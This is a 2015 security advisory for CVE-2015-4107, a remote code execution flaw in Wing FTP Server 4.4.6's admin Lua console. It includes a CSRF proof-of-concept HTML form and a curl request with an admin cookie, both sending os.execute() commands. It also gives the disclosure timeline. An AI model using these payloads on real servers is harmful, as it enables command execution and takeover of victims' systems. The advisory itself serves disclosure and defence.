Wing FTP 4.4.6 Code Execution / Cross Site Request Forgery

Type packetstorm
Reporter Alex Haynes
Modified 2015-06-05T00:00:00


                                            `Exploit Title: Wing FTP Server Remote Code Execution vulnerability  
Product: Wing FTP Server  
Vulnerable Versions: 4.4.6 and all previous versions  
Tested Version: 4.4.6  
Advisory Publication: 05/06/2015  
Latest Update: 05/06/2015  
Vulnerability Type: Improper Control of Generation of Code [CWE-94]  
CVE Reference: CVE-2015-4107  
Credit: Alex Haynes  
Advisory Details:  
(1) Vendor & Product Description  
Vendor:Wing FTP software  
Product & Version:  
Wing FTP Server v 4.4.6  
Vendor URL & Download:  
Product Description:  
"Wing FTP Server is an easy-to-use, secure and feature-rich enterprise FTP Server that can be used in Windows, Linux, Mac OSX and Solaris. It supports a number of file transfer protocols, including FTP, HTTP, FTPS, HTTPS and SFTP server, giving your end-users flexibility in how they connect to the server. And it provides admins with a web based interface to administrate the server from anywhere. You can also monitor server performance and online sessions and even receive email notifications about various events taking place on the server."  
(2) Vulnerability Details:  
The admin interface of Wing FTP Server is vulnerable to a Remote Code Execution (RCE) vulnerability.   
Proof of concept for RCE [CVE-2015-4107]:  
The RCE can be exploited in two scenarios, either by a CSRF attack (the admin interface is vulnerable to CSRF attacks) or by being authenticated to the admin interface. The attack leverages the LUA CLI to inject commands at the same privilege as the web server.  
The RCE via CSRF POC  
<form action="http://<server address>:5466/admin_lua_script.html" method="POST" enctype="text/plain">  
<input type="hidden" name="command" value="os.execute('<any OS command here>')" />  
<input type="submit" value="Submit request" />  
RCE via authenticated administrator  
1) Either utilising the LUA Console interface directly and using the os.execute('<OS command here>') method.  
2) POST directly using CURL with an authenticated cookie:  
curl -i -s -k -X 'POST' -b 'admin_lang=english; UIDADMIN=b8b208e2239f462c11641eaa10cde7b0' --data-binary $'command=os.execute(\'cmd.exe\')'  
'http://<server address>:5466/admin_lua_script.html'  
Parameter names: "command"  
Parameter Type: POST  
Attack Pattern:  
Any OS command can be inserted into the os.execute('') method.  
(3) Advisory Timeline:  
27/05/2015 - First Contact  
27/05/2015 - Vendor responds with requests for details of vulnerabilities.  
28/05/2015 - Vulnerability details sent with POC.  
28/05/2015 - Vendor requests clarification on impact and various attack scenarios.  
28/05/2015 - Vulnerability scenarios defined.  
29/05/2015 - Vulnerability confirmed and new version 4.4.7 released. Requests a week delay before public disclosure.  
05/06/2015 - Public disclosure  
CSRF attack vector fixed in version 4.4.7. No fix for authenticated RCE at this time.  
(5) Credits:  
Discovered by Alex Haynes